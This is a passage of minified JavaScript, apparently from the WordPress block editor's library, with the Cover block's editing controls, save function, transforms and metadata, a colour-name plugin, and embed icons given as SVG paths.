n=""!==e?parseFloat(e):void 0;isNaN(n)&&void 0!==n||t(n)},onUnitChange:n,style:{maxWidth:80},units:i,value:s}))}function Vl(e){let{attributes:t,setAttributes:n,clientId:o,setOverlayColor:a,coverRef:r,currentSettings:l}=e;const{useFeaturedImage:i,dimRatio:s,focalPoint:c,hasParallax:u,isRepeated:m,minHeight:d,minHeightUnit:p,alt:g}=t,{isVideoBackground:h,isImageBackground:v,mediaElement:b,url:_,isImgElement:y,overlayColor:f}=l,{gradientValue:k,setGradient:x}=(0,Ze.__experimentalUseGradient)(),w=h||v&&(!u||m),E=e=>{const[t,n]=b.current?[b.current.style,"objectPosition"]:[r.current.style,"backgroundPosition"];t[n]=Er(e)},C=(0,Ze.__experimentalUseMultipleOriginColorsAndGradients)();return(0,$e.createElement)($e.Fragment,null,(0,$e.createElement)(Ze.InspectorControls,null,!!_&&(0,$e.createElement)(We.PanelBody,{title:(0,je.__)("Media settings")},v&&(0,$e.createElement)($e.Fragment,null,(0,$e.createElement)(We.ToggleControl,{label:(0,je.__)("Fixed background"),checked:u,onChange:()=>{n({hasParallax:!u,...u?{}:{focalPoint:void 0}})}}),(0,$e.createElement)(We.ToggleControl,{label:(0,je.__)("Repeated background"),checked:m,onChange:()=>{n({isRepeated:!m})}})),w&&(0,$e.createElement)(We.FocalPointPicker,{label:(0,je.__)("Focal point picker"),url:_,value:c,onDragStart:E,onDrag:E,onChange:e=>n({focalPoint:e})}),!i&&_&&v&&y&&(0,$e.createElement)(We.TextareaControl,{label:(0,je.__)("Alt text (alternative text)"),value:g,onChange:e=>n({alt:e}),help:(0,$e.createElement)($e.Fragment,null,(0,$e.createElement)(We.ExternalLink,{href:"https://www.w3.org/WAI/tutorials/images/decision-tree"},(0,je.__)("Describe the purpose of the image")),(0,je.__)("Leave empty if the image is purely decorative."))}),(0,$e.createElement)(We.PanelRow,null,(0,$e.createElement)(We.Button,{variant:"secondary",isSmall:!0,className:"block-library-cover__reset-button",onClick:()=>n({url:void 0,id:void 0,backgroundType:void 0,focalPoint:void 0,hasParallax:void 0,isRepeated:void 0,useFeaturedImage:!1})},(0,je.__)("Clear Media"))))),(0,$e.createElement)(Ze.InspectorControls,{__experimentalGroup:"color"},(0,$e.createElement)(Ze.__experimentalColorGradientSettingsDropdown,nt({__experimentalHasMultipleOrigins:!0,__experimentalIsRenderedInSidebar:!0,settings:[{colorValue:f.color,gradientValue:k,label:(0,je.__)("Overlay"),onColorChange:a,onGradientChange:x,isShownByDefault:!0,resetAllFilter:()=>({overlayColor:void 0,customOverlayColor:void 0,gradient:void 0,customGradient:void 0})}],panelId:o},C)),(0,$e.createElement)(We.__experimentalToolsPanelItem,{hasValue:()=>void 0!==s&&s!==(_?50:100),label:(0,je.__)("Overlay opacity"),onDeselect:()=>n({dimRatio:_?50:100}),resetAllFilter:()=>({dimRatio:_?50:100}),isShownByDefault:!0,panelId:o},(0,$e.createElement)(We.RangeControl,{label:(0,je.__)("Overlay opacity"),value:s,onChange:e=>n({dimRatio:e}),min:0,max:100,step:10,required:!0}))),(0,$e.createElement)(Ze.InspectorControls,{__experimentalGroup:"dimensions"},(0,$e.createElement)(We.__experimentalToolsPanelItem,{hasValue:()=>!!d,label:(0,je.__)("Minimum height"),onDeselect:()=>n({minHeight:void 0,minHeightUnit:void 0}),resetAllFilter:()=>({minHeight:void 0,minHeightUnit:void 0}),isShownByDefault:!0,panelId:o},(0,$e.createElement)(Al,{value:d,unit:p,onChange:e=>n({minHeight:e}),onUnitChange:e=>n({minHeightUnit:e})}))))}function Hl(e){let{attributes:t,setAttributes:n,onSelectMedia:o,currentSettings:a,toggleUseFeaturedImage:r}=e;const{contentPosition:l,id:i,useFeaturedImage:s,minHeight:c,minHeightUnit:u}=t,{hasInnerBlocks:m,url:d}=a,[p,g]=(0,$e.useState)(c),[h,v]=(0,$e.useState)(u),b="vh"===u&&100===c;return(0,$e.createElement)($e.Fragment,null,(0,$e.createElement)(Ze.BlockControls,{group:"block"},(0,$e.createElement)(Ze.__experimentalBlockAlignmentMatrixControl,{label:(0,je.__)("Change content position"),value:l,onChange:e=>n({contentPosition:e}),isDisabled:!m}),(0,$e.createElement)(Ze.__experimentalBlockFullHeightAligmentControl,{isActive:b,onToggle:()=>b?n("vh"===h&&100===p?{minHeight:void 0,minHeightUnit:void 0}:{minHeight:p,minHeightUnit:h}):(g(c),v(u),n({minHeight:100,minHeightUnit:"vh"})),isDisabled:!m})),(0,$e.createElement)(Ze.BlockControls,{group:"other"},(0,$e.createElement)(Ze.MediaReplaceFlow,{mediaId:i,mediaURL:d,allowedTypes:wr,accept:"image/*,video/*",onSelect:o,onToggleFeaturedImage:r,useFeaturedImage:s,name:d?(0,je.__)("Replace"):(0,je.__)("Add Media")})))}function Dl(e){let{disableMediaButtons:t=!1,children:n,onSelectMedia:o,onError:a,style:r,toggleUseFeaturedImage:l}=e;return(0,$e.createElement)(Ze.MediaPlaceholder,{icon:(0,$e.createElement)(Ze.BlockIcon,{icon:_r}),labels:{title:(0,je.__)("Cover"),instructions:(0,je.__)("Drag and drop onto this block, upload, or select existing media from your library.")},onSelect:o,accept:"image/*,video/*",allowedTypes:wr,disableMediaButtons:t,onToggleFeaturedImage:l,onError:a,style:r},n)}const Fl={top:!1,right:!1,bottom:!0,left:!1,topRight:!1,bottomRight:!1,bottomLeft:!1,topLeft:!1};function Gl(e){let{className:t,onResizeStart:n,onResize:o,onResizeStop:a,...r}=e;const[l,i]=(0,$e.useState)(!1);return(0,$e.createElement)(We.ResizableBox,nt({className:at()(t,{"is-resizing":l}),enable:Fl,onResizeStart:(e,t,a)=>{n(a.clientHeight),o(a.clientHeight)},onResize:(e,t,n)=>{o(n.clientHeight),l||i(!0)},onResizeStop:(e,t,n)=>{a(n.clientHeight),i(!1)},__experimentalShowTooltip:!0,__experimentalTooltipProps:{axis:"y",position:"bottom",isVisible:l}},r))}!function(e){e.forEach((function(e){bl.indexOf(e)<0&&(e(hl,ul),bl.push(e))}))}([function(e,t){var n={white:"#ffffff",bisque:"#ffe4c4",blue:"#0000ff",cadetblue:"#5f9ea0",chartreuse:"#7fff00",chocolate:"#d2691e",coral:"#ff7f50",antiquewhite:"#faebd7",aqua:"#00ffff",azure:"#f0ffff",whitesmoke:"#f5f5f5",papayawhip:"#ffefd5",plum:"#dda0dd",blanchedalmond:"#ffebcd",black:"#000000",gold:"#ffd700",goldenrod:"#daa520",gainsboro:"#dcdcdc",cornsilk:"#fff8dc",cornflowerblue:"#6495ed",burlywood:"#deb887",aquamarine:"#7fffd4",beige:"#f5f5dc",crimson:"#dc143c",cyan:"#00ffff",darkblue:"#00008b",darkcyan:"#008b8b",darkgoldenrod:"#b8860b",darkkhaki:"#bdb76b",darkgray:"#a9a9a9",darkgreen:"#006400",darkgrey:"#a9a9a9",peachpuff:"#ffdab9",darkmagenta:"#8b008b",darkred:"#8b0000",darkorchid:"#9932cc",darkorange:"#ff8c00",darkslateblue:"#483d8b",gray:"#808080",darkslategray:"#2f4f4f",darkslategrey:"#2f4f4f",deeppink:"#ff1493",deepskyblue:"#00bfff",wheat:"#f5deb3",firebrick:"#b22222",floralwhite:"#fffaf0",ghostwhite:"#f8f8ff",darkviolet:"#9400d3",magenta:"#ff00ff",green:"#008000",dodgerblue:"#1e90ff",grey:"#808080",honeydew:"#f0fff0",hotpink:"#ff69b4",blueviolet:"#8a2be2",forestgreen:"#228b22",lawngreen:"#7cfc00",indianred:"#cd5c5c",indigo:"#4b0082",fuchsia:"#ff00ff",brown:"#a52a2a",maroon:"#800000",mediumblue:"#0000cd",lightcoral:"#f08080",darkturquoise:"#00ced1",lightcyan:"#e0ffff",ivory:"#fffff0",lightyellow:"#ffffe0",lightsalmon:"#ffa07a",lightseagreen:"#20b2aa",linen:"#faf0e6",mediumaquamarine:"#66cdaa",lemonchiffon:"#fffacd",lime:"#00ff00",khaki:"#f0e68c",mediumseagreen:"#3cb371",limegreen:"#32cd32",mediumspringgreen:"#00fa9a",lightskyblue:"#87cefa",lightblue:"#add8e6",midnightblue:"#191970",lightpink:"#ffb6c1",mistyrose:"#ffe4e1",moccasin:"#ffe4b5",mintcream:"#f5fffa",lightslategray:"#778899",lightslategrey:"#778899",navajowhite:"#ffdead",navy:"#000080",mediumvioletred:"#c71585",powderblue:"#b0e0e6",palegoldenrod:"#eee8aa",oldlace:"#fdf5e6",paleturquoise:"#afeeee",mediumturquoise:"#48d1cc",mediumorchid:"#ba55d3",rebeccapurple:"#663399",lightsteelblue:"#b0c4de",mediumslateblue:"#7b68ee",thistle:"#d8bfd8",tan:"#d2b48c",orchid:"#da70d6",mediumpurple:"#9370db",purple:"#800080",pink:"#ffc0cb",skyblue:"#87ceeb",springgreen:"#00ff7f",palegreen:"#98fb98",red:"#ff0000",yellow:"#ffff00",slateblue:"#6a5acd",lavenderblush:"#fff0f5",peru:"#cd853f",palevioletred:"#db7093",violet:"#ee82ee",teal:"#008080",slategray:"#708090",slategrey:"#708090",aliceblue:"#f0f8ff",darkseagreen:"#8fbc8f",darkolivegreen:"#556b2f",greenyellow:"#adff2f",seagreen:"#2e8b57",seashell:"#fff5ee",tomato:"#ff6347",silver:"#c0c0c0",sienna:"#a0522d",lavender:"#e6e6fa",lightgreen:"#90ee90",orange:"#ffa500",orangered:"#ff4500",steelblue:"#4682b4",royalblue:"#4169e1",turquoise:"#40e0d0",yellowgreen:"#9acd32",salmon:"#fa8072",saddlebrown:"#8b4513",sandybrown:"#f4a460",rosybrown:"#bc8f8f",darksalmon:"#e9967a",lightgoldenrodyellow:"#fafad2",snow:"#fffafa",lightgrey:"#d3d3d3",lightgray:"#d3d3d3",dimgray:"#696969",dimgrey:"#696969",olivedrab:"#6b8e23",olive:"#808000"},o={};for(var a in n)o[n[a]]=a;var r={};e.prototype.toName=function(t){if(!(this.rgba.a||this.rgba.r||this.rgba.g||this.rgba.b))return"transparent";var a,l,i=o[this.toHex()];if(i)return i;if(null==t?void 0:t.closest){var s=this.toRgb(),c=1/0,u="black";if(!r.length)for(var m in n)r[m]=new e(n[m]).toRgb();for(var d in n){var p=(a=s,l=r[d],Math.pow(a.r-l.r,2)+Math.pow(a.g-l.g,2)+Math.pow(a.b-l.b,2));p<c&&(c=p,u=d)}return u}},t.string.push([function(t){var o=t.toLowerCase(),a="transparent"===o?"#0000":n[o];return a?new e(a).toRgb():null},"name"])}]);const $l=(0,Wt.compose)([(0,Ze.withColors)({overlayColor:"background-color"})])((function(e){var t;let{attributes:n,clientId:o,isSelected:a,overlayColor:r,setAttributes:l,setOverlayColor:i,toggleSelection:s,context:{postId:c,postType:u}}=e;const{contentPosition:m,id:d,useFeaturedImage:p,dimRatio:g,focalPoint:h,hasParallax:v,isDark:b,isRepeated:_,minHeight:y,minHeightUnit:f,alt:k,allowedBlocks:x,templateLock:w}=n,[E]=(0,lt.useEntityProp)("postType",u,"featured_media",c),C=(0,it.useSelect)((e=>E&&e(lt.store).getMedia(E,{context:"view"})),[E]),S=null==C?void 0:C.source_url,B=p?S:n.url,T=p?fr:n.backgroundType,{__unstableMarkNextChangeAsNotPersistent:N}=(0,it.useDispatch)(Ze.store),{createErrorNotice:P}=(0,it.useDispatch)(wt.store),{gradientClass:I,gradientValue:z}=(0,Ze.__experimentalUseGradient)(),M=function(e,t){return n=>{if(!n||!n.url)return void e({url:void 0,id:void 0});let o;if((0,xt.isBlobURL)(n.url)&&(n.type=(0,xt.getBlobTypeByURL)(n.url)),n.media_type)o=n.media_type===fr?fr:kr;else{if(n.type!==fr&&n.type!==kr)return;o=n.type}e({dimRatio:100===t?50:t,url:n.url,id:n.id,alt:null==n?void 0:n.alt,backgroundType:o,focalPoint:void 0,...o===kr?{hasParallax:void 0}:{}})}}(l,g),L=((e,t)=>!e&&(0,xt.isBlobURL)(t))(d,B),R=e=>{P(e,{type:"snackbar"})},A=(0,$e.useRef)(),V=function(e){let t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:50,n=arguments.length>2?arguments[2]:void 0,o=arguments.length>3?arguments[3]:void 0;const[a,r]=(0,$e.useState)(!1);return(0,$e.useEffect)((()=>{e&&t<=50&&o.current&&Rl().getColorAsync(o.current,{defaultColor:[255,255,255,255],silent:!0}).then((e=>r(e.isDark)))}),[e,e&&t<=50&&o.current,r]),(0,$e.useEffect)((()=>{if(t>50||!e){if(!n)return void r(!0);r(vl(n).isDark())}}),[n,t>50||!e,r]),(0,$e.useEffect)((()=>{e||n||r(!1)}),[!e&&!n,r]),a}(B,g,r.color,A);(0,$e.useEffect)((()=>{N(),l({isDark:V})}),[V]);const H=fr===T,D=kr===T,F=y&&f?`${y}${f}`:y,G=!(v||_),$={minHeight:F||void 0},U=B?`url(${B})`:void 0,O=Er(h),q={backgroundColor:r.color},W={objectPosition:h&&G?Er(h):void 0},j=!!(B||r.color||z),Z=(0,it.useSelect)((e=>e(Ze.store).getBlock(o).innerBlocks.length>0),[o]),Q=(0,$e.useRef)(),K=(0,Ze.useBlockProps)({ref:Q}),Y=function(e){return[["core/paragraph",{align:"center",placeholder:(0,je.__)("Write title…"),...e}]]}({fontSize:null!==(t=(0,Ze.useSetting)("typography.fontSizes"))&&void 0!==t&&t.length?"large":void 0}),J=(0,Ze.useInnerBlocksProps)({className:"wp-block-cover__inner-container"},{template:Y,templateInsertUpdatesSelection:!0,allowedBlocks:x,templateLock:w}),X={isVideoBackground:D,isImageBackground:H,mediaElement:A,hasInnerBlocks:Z,url:B,isImgElement:G,overlayColor:r},ee=()=>{l({id:void 0,url:void 0,useFeaturedImage:!p,dimRatio:100===g?50:g,backgroundType:p?fr:void 0})},te=(0,$e.createElement)(Hl,{attributes:n,setAttributes:l,onSelectMedia:M,currentSettings:X,toggleUseFeaturedImage:ee}),ne=(0,$e.createElement)(Vl,{attributes:n,setAttributes:l,clientId:o,setOverlayColor:i,coverRef:Q,currentSettings:X,toggleUseFeaturedImage:ee});if(!p&&!Z&&!j)return(0,$e.createElement)($e.Fragment,null,te,ne,(0,$e.createElement)("div",nt({},K,{className:at()("is-placeholder",K.className)}),(0,$e.createElement)(Dl,{onSelectMedia:M,onError:R,style:{minHeight:F||void 0},toggleUseFeaturedImage:ee},(0,$e.createElement)("div",{className:"wp-block-cover__placeholder-background-options"},(0,$e.createElement)(Ze.ColorPalette,{disableCustomColors:!0,value:r.color,onChange:i,clearable:!1}))),(0,$e.createElement)(Gl,{className:"block-library-cover__resize-container",onResizeStart:()=>{l({minHeightUnit:"px"}),s(!1)},onResize:e=>{l({minHeight:e})},onResizeStop:e=>{s(!0),l({minHeight:e})},showHandle:a})));const oe=at()({"is-dark-theme":b,"is-light":!b,"is-transient":L,"has-parallax":v,"is-repeated":_,"has-custom-content-position":!Sr(m)},Br(m));return(0,$e.createElement)($e.Fragment,null,te,ne,(0,$e.createElement)("div",nt({},K,{className:at()(oe,K.className),style:{...$,...K.style},"data-url":B}),(0,$e.createElement)(Gl,{className:"block-library-cover__resize-container",onResizeStart:()=>{l({minHeightUnit:"px"}),s(!1)},onResize:e=>{l({minHeight:e})},onResizeStop:e=>{s(!0),l({minHeight:e})},showHandle:a}),(!p||B)&&(0,$e.createElement)("span",{"aria-hidden":"true",className:at()("wp-block-cover__background",Cr(g),{[r.class]:r.class,"has-background-dim":void 0!==g,"wp-block-cover__gradient-background":B&&z&&0!==g,"has-background-gradient":z,[I]:I}),style:{backgroundImage:z,...q}}),!B&&p&&(0,$e.createElement)(We.Placeholder,{className:"wp-block-cover__image--placeholder-image",withIllustration:!0}),B&&H&&(G?(0,$e.createElement)("img",{ref:A,className:"wp-block-cover__image-background",alt:k,src:B,style:W}):(0,$e.createElement)("div",{ref:A,role:"img",className:at()(oe,"wp-block-cover__image-background"),style:{backgroundImage:U,backgroundPosition:O}})),B&&D&&(0,$e.createElement)("video",{ref:A,className:"wp-block-cover__video-background",autoPlay:!0,muted:!0,loop:!0,src:B,style:W}),L&&(0,$e.createElement)(We.Spinner,null),(0,$e.createElement)(Dl,{disableMediaButtons:!0,onSelectMedia:M,onError:R,toggleUseFeaturedImage:ee}),(0,$e.createElement)("div",J)))})),Ul={from:[{type:"block",blocks:["core/image"],transform:e=>{var t;let{caption:n,url:o,alt:a,align:r,id:l,anchor:i,style:s}=e;return(0,Ge.createBlock)("core/cover",{dimRatio:50,url:o,alt:a,align:r,id:l,anchor:i,style:{color:{duotone:null==s||null===(t=s.color)||void 0===t?void 0:t.duotone}}},[(0,Ge.createBlock)("core/paragraph",{content:n,fontSize:"large",align:"center"})])}},{type:"block",blocks:["core/video"],transform:e=>{let{caption:t,src:n,align:o,id:a,anchor:r}=e;return(0,Ge.createBlock)("core/cover",{dimRatio:50,url:n,align:o,id:a,backgroundType:kr,anchor:r},[(0,Ge.createBlock)("core/paragraph",{content:t,fontSize:"large",align:"center"})])}},{type:"block",blocks:["core/group"],transform:(e,t)=>{var n,o,a,r,l;const{align:i,anchor:s,backgroundColor:c,gradient:u,style:m}=e;if(1===(null==t?void 0:t.length)&&"core/cover"===(null===(n=t[0])||void 0===n?void 0:n.name))return(0,Ge.createBlock)("core/cover",t[0].attributes,t[0].innerBlocks);const d={align:i,anchor:s,dimRatio:c||u||null!=m&&null!==(o=m.color)&&void 0!==o&&o.background||null!=m&&null!==(a=m.color)&&void 0!==a&&a.gradient?void 0:50,overlayColor:c,customOverlayColor:null==m||null===(r=m.color)||void 0===r?void 0:r.background,gradient:u,customGradient:null==m||null===(l=m.color)||void 0===l?void 0:l.gradient},p={...e,backgroundColor:void 0,gradient:void 0,style:Qt({...null==e?void 0:e.style,color:null!=m&&m.color?{...null==m?void 0:m.color,background:void 0,gradient:void 0}:void 0})};return(0,Ge.createBlock)("core/cover",d,[(0,Ge.createBlock)("core/group",p,t)])}}],to:[{type:"block",blocks:["core/image"],isMatch:e=>{let{backgroundType:t,url:n,overlayColor:o,customOverlayColor:a,gradient:r,customGradient:l}=e;return n?t===fr:!(o||a||r||l)},transform:e=>{var t;let{title:n,url:o,alt:a,align:r,id:l,anchor:i,style:s}=e;return(0,Ge.createBlock)("core/image",{caption:n,url:o,alt:a,align:r,id:l,anchor:i,style:{color:{duotone:null==s||null===(t=s.color)||void 0===t?void 0:t.duotone}}})}},{type:"block",blocks:["core/video"],isMatch:e=>{let{backgroundType:t,url:n,overlayColor:o,customOverlayColor:a,gradient:r,customGradient:l}=e;return n?t===kr:!(o||a||r||l)},transform:e=>{let{title:t,url:n,align:o,id:a,anchor:r}=e;return(0,Ge.createBlock)("core/video",{caption:t,src:n,id:a,align:o,anchor:r})}},{type:"block",blocks:["core/group"],isMatch:e=>{let{url:t,useFeaturedImage:n}=e;return!t&&!n},transform:(e,t)=>{var n,o,a;const r={backgroundColor:null==e?void 0:e.overlayColor,gradient:null==e?void 0:e.gradient,style:Qt({...null==e?void 0:e.style,color:null!=e&&e.customOverlayColor||null!=e&&e.customGradient||null!=e&&null!==(n=e.style)&&void 0!==n&&n.color?{background:null==e?void 0:e.customOverlayColor,gradient:null==e?void 0:e.customGradient,...null==e||null===(o=e.style)||void 0===o?void 0:o.color}:void 0})};if(1===(null==t?void 0:t.length)&&"core/group"===(null===(a=t[0])||void 0===a?void 0:a.name)){var l,i,s,c,u,m,d,p,g;const e=Qt(t[0].attributes||{});var h;return null!=e&&e.backgroundColor||null!=e&&e.gradient||null!=e&&null!==(l=e.style)&&void 0!==l&&null!==(i=l.color)&&void 0!==i&&i.background||null!=e&&null!==(s=e.style)&&void 0!==s&&null!==(c=s.color)&&void 0!==c&&c.gradient?(0,Ge.createBlock)("core/group",e,null===(h=t[0])||void 0===h?void 0:h.innerBlocks):(0,Ge.createBlock)("core/group",{...r,...e,style:Qt({...null==e?void 0:e.style,color:null!=r&&null!==(u=r.style)&&void 0!==u&&u.color||null!=e&&null!==(m=e.style)&&void 0!==m&&m.color?{...null==r||null===(d=r.style)||void 0===d?void 0:d.color,...null==e||null===(p=e.style)||void 0===p?void 0:p.color}:void 0})},null===(g=t[0])||void 0===g?void 0:g.innerBlocks)}return(0,Ge.createBlock)("core/group",{...e,...r},t)}}]},Ol=Ul,ql={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:2,name:"core/cover",title:"Cover",category:"media",description:"Add an image or video with a text overlay — great for headers.",textdomain:"default",attributes:{url:{type:"string"},useFeaturedImage:{type:"boolean",default:!1},id:{type:"number"},alt:{type:"string",source:"attribute",selector:"img",attribute:"alt",default:""},hasParallax:{type:"boolean",default:!1},isRepeated:{type:"boolean",default:!1},dimRatio:{type:"number",default:100},overlayColor:{type:"string"},customOverlayColor:{type:"string"},backgroundType:{type:"string",default:"image"},focalPoint:{type:"object"},minHeight:{type:"number"},minHeightUnit:{type:"string"},gradient:{type:"string"},customGradient:{type:"string"},contentPosition:{type:"string"},isDark:{type:"boolean",default:!0},allowedBlocks:{type:"array"},templateLock:{type:["string","boolean"],enum:["all","insert","contentOnly",!1]}},usesContext:["postId","postType"],supports:{anchor:!0,align:!0,html:!1,spacing:{padding:!0,margin:["top","bottom"],__experimentalDefaultControls:{padding:!0}},color:{__experimentalDuotone:"> .wp-block-cover__image-background, > .wp-block-cover__video-background",text:!1,background:!1},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}}},editorStyle:"wp-block-cover-editor",style:"wp-block-cover"},{name:Wl}=ql,jl={icon:_r,example:{attributes:{customOverlayColor:"#065174",dimRatio:40,url:"https://s.w.org/images/core/5.3/Windbuchencom.jpg"},innerBlocks:[{name:"core/paragraph",attributes:{content:(0,je.__)("<strong>Snow Patrol</strong>"),align:"center",style:{typography:{fontSize:48},color:{text:"white"}}}}]},transforms:Ol,save:function(e){let{attributes:t}=e;const{backgroundType:n,gradient:o,contentPosition:a,customGradient:r,customOverlayColor:l,dimRatio:i,focalPoint:s,useFeaturedImage:c,hasParallax:u,isDark:m,isRepeated:d,overlayColor:p,url:g,alt:h,id:v,minHeight:b,minHeightUnit:_}=t,y=(0,Ze.getColorClassName)("background-color",p),f=(0,Ze.__experimentalGetGradientClass)(o),k=fr===n,x=kr===n,w=!(u||d),E={minHeight:(b&&_?`${b}${_}`:b)||void 0},C={backgroundColor:y?void 0:l,background:r||void 0},S=s&&w?Er(s):void 0,B=g?`url(${g})`:void 0,T=Er(s),N=at()({"is-light":!m,"has-parallax":u,"is-repeated":d,"has-custom-content-position":!Sr(a)},Br(a)),P=at()("wp-block-cover__image-background",v?`wp-image-${v}`:null,{"has-parallax":u,"is-repeated":d}),I=o||r;return(0,$e.createElement)("div",Ze.useBlockProps.save({className:N,style:E}),(0,$e.createElement)("span",{"aria-hidden":"true",className:at()("wp-block-cover__background",y,Cr(i),{"has-background-dim":void 0!==i,"wp-block-cover__gradient-background":g&&I&&0!==i,"has-background-gradient":I,[f]:f}),style:C}),!c&&k&&g&&(w?(0,$e.createElement)("img",{className:P,alt:h,src:g,style:{objectPosition:S},"data-object-fit":"cover","data-object-position":S}):(0,$e.createElement)("div",{role:"img",className:P,style:{backgroundPosition:T,backgroundImage:B}})),x&&g&&(0,$e.createElement)("video",{className:at()("wp-block-cover__video-background","intrinsic-ignore"),autoPlay:!0,muted:!0,loop:!0,playsInline:!0,src:g,style:{objectPosition:S},"data-object-fit":"cover","data-object-position":S}),(0,$e.createElement)("div",Ze.useInnerBlocksProps.save({className:"wp-block-cover__inner-container"})))},edit:$l,deprecated:Or},Zl=()=>qe({name:Wl,metadata:ql,settings:jl}),Ql=(0,$e.createElement)(Ue.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,$e.createElement)(Ue.Path,{d:"M20.1 5.1L16.9 2 6.2 12.7l-1.3 4.4 4.5-1.3L20.1 5.1zM4 20.8h8v-1.5H4v1.5z"}));function Kl(e){return e?(0,je.__)("This embed will preserve its aspect ratio when the browser is resized."):(0,je.__)("This embed may not preserve its aspect ratio when the browser is resized.")}const Yl=e=>{let{blockSupportsResponsive:t,showEditButton:n,themeSupportsResponsive:o,allowResponsive:a,toggleResponsive:r,switchBackToURLInput:l}=e;return(0,$e.createElement)($e.Fragment,null,(0,$e.createElement)(Ze.BlockControls,null,(0,$e.createElement)(We.ToolbarGroup,null,n&&(0,$e.createElement)(We.ToolbarButton,{className:"components-toolbar__control",label:(0,je.__)("Edit URL"),icon:Ql,onClick:l}))),o&&t&&(0,$e.createElement)(Ze.InspectorControls,null,(0,$e.createElement)(We.PanelBody,{title:(0,je.__)("Media settings"),className:"blocks-responsive"},(0,$e.createElement)(We.ToggleControl,{label:(0,je.__)("Resize for smaller devices"),checked:a,help:Kl,onChange:r}))))},Jl=(0,$e.createElement)(We.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg"},(0,$e.createElement)(We.Path,{d:"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2zm.5 16c0 .3-.2.5-.5.5H5c-.3 0-.5-.2-.5-.5V9.8l4.7-5.3H19c.3 0 .5.2.5.5v14zm-6-9.5L16 12l-2.5 2.8 1.1 1L18 12l-3.5-3.5-1 1zm-3 0l-1-1L6 12l3.5 3.8 1.1-1L8 12l2.5-2.5z"})),Xl=(0,$e.createElement)(We.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg"},(0,$e.createElement)(We.Path,{d:"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2zm.5 16c0 .3-.2.5-.5.5H5c-.3 0-.5-.2-.5-.5V9.8l4.7-5.3H19c.3 0 .5.2.5.5v14zM13.2 7.7c-.4.4-.7 1.1-.7 1.9v3.7c-.4-.3-.8-.4-1.3-.4-1.2 0-2.2 1-2.2 2.2 0 1.2 1 2.2 2.2 2.2.5 0 1-.2 1.4-.5.9-.6 1.4-1.6 1.4-2.6V9.6c0-.4.1-.6.2-.8.3-.3 1-.3 1.6-.3h.2V7h-.2c-.7 0-1.8 0-2.6.7z"})),ei=(0,$e.createElement)(We.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg"},(0,$e.createElement)(We.Path,{d:"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2zM9.2 4.5H19c.3 0 .5.2.5.5v8.4l-3-2.9c-.3-.3-.8-.3-1 0L11.9 14 9 12c-.3-.2-.6-.2-.8 0l-3.6 2.6V9.8l4.6-5.3zm9.8 15H5c-.3 0-.5-.2-.5-.5v-2.4l4.1-3 3 1.9c.3.2.7.2.9-.1L16 12l3.5 3.4V19c0 .3-.2.5-.5.5z"})),ti=(0,$e.createElement)(We.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg"},(0,$e.createElement)(We.Path,{d:"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2zm.5 16c0 .3-.2.5-.5.5H5c-.3 0-.5-.2-.5-.5V9.8l4.7-5.3H19c.3 0 .5.2.5.5v14zM10 15l5-3-5-3v6z"})),ni={foreground:"#1da1f2",src:(0,$e.createElement)(We.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,$e.createElement)(We.G,null,(0,$e.createElement)(We.Path,{d:"M22.23 5.924c-.736.326-1.527.547-2.357.646.847-.508 1.498-1.312 1.804-2.27-.793.47-1.67.812-2.606.996C18.325 4.498 17.258 4 16.078 4c-2.266 0-4.103 1.837-4.103 4.103 0 .322.036.635.106.935-3.41-.17-6.433-1.804-8.457-4.287-.353.607-.556 1.312-.556 2.064 0 1.424.724 2.68 1.825 3.415-.673-.022-1.305-.207-1.86-.514v.052c0 1.988 1.415 3.647 3.293 4.023-.344.095-.707.145-1.08.145-.265 0-.522-.026-.773-.074.522 1.63 2.038 2.817 3.833 2.85-1.404 1.1-3.174 1.757-5.096 1.757-.332 0-.66-.02-.98-.057 1.816 1.164 3.973 1.843 6.29 1.843 7.547 0 11.675-6.252 11.675-11.675 0-.178-.004-.355-.012-.53.802-.578 1.497-1.3 2.047-2.124z"})))},oi={foreground:"#ff0000",src:(0,$e.createElement)(We.SVG,{viewBox:"0 0 24 24"},(0,$e.createElement)(We.Path,{d:"M21.8 8s-.195-1.377-.795-1.984c-.76-.797-1.613-.8-2.004-.847-2.798-.203-6.996-.203-6.996-.203h-.01s-4.197 0-6.996.202c-.39.046-1.242.05-2.003.846C2.395 6.623 2.2 8 2.2 8S2 9.62 2 11.24v1.517c0 1.618.2 3.237.2 3.237s.195 1.378.795 1.985c.76.797 1.76.77 2.205.855 1.6.153 6.8.2 6.8.2s4.203-.005 7-.208c.392-.047 1.244-.05 2.005-.847.6-.607.795-1.985.795-1.985s.2-1.618.2-3.237v-1.517C22 9.62 21.8 8 21.8 8zM9.935 14.595v-5.62l5.403 2.82-5.403 2.8z"}))},ai={foreground:"#3b5998",src:(0,$e.createElement)(We.SVG,{viewBox:"0 0 24 24"},(0,$e.createElement)(We.Path,{d:"M20 3H4c-.6 0-1 .4-1 1v16c0 .5.4 1 1 1h8.6v-7h-2.3v-2.7h2.3v-2c0-2.3 1.4-3.6 3.5-3.6 1 0 1.8.1 2.1.1v2.4h-1.4c-1.1 0-1.3.5-1.3 1.3v1.7h2.7l-.4 2.8h-2.3v7H20c.5 0 1-.4 1-1V4c0-.6-.4-1-1-1z"}))},ri=(0,$e.createElement)(We.SVG,{viewBox:"0 0 24 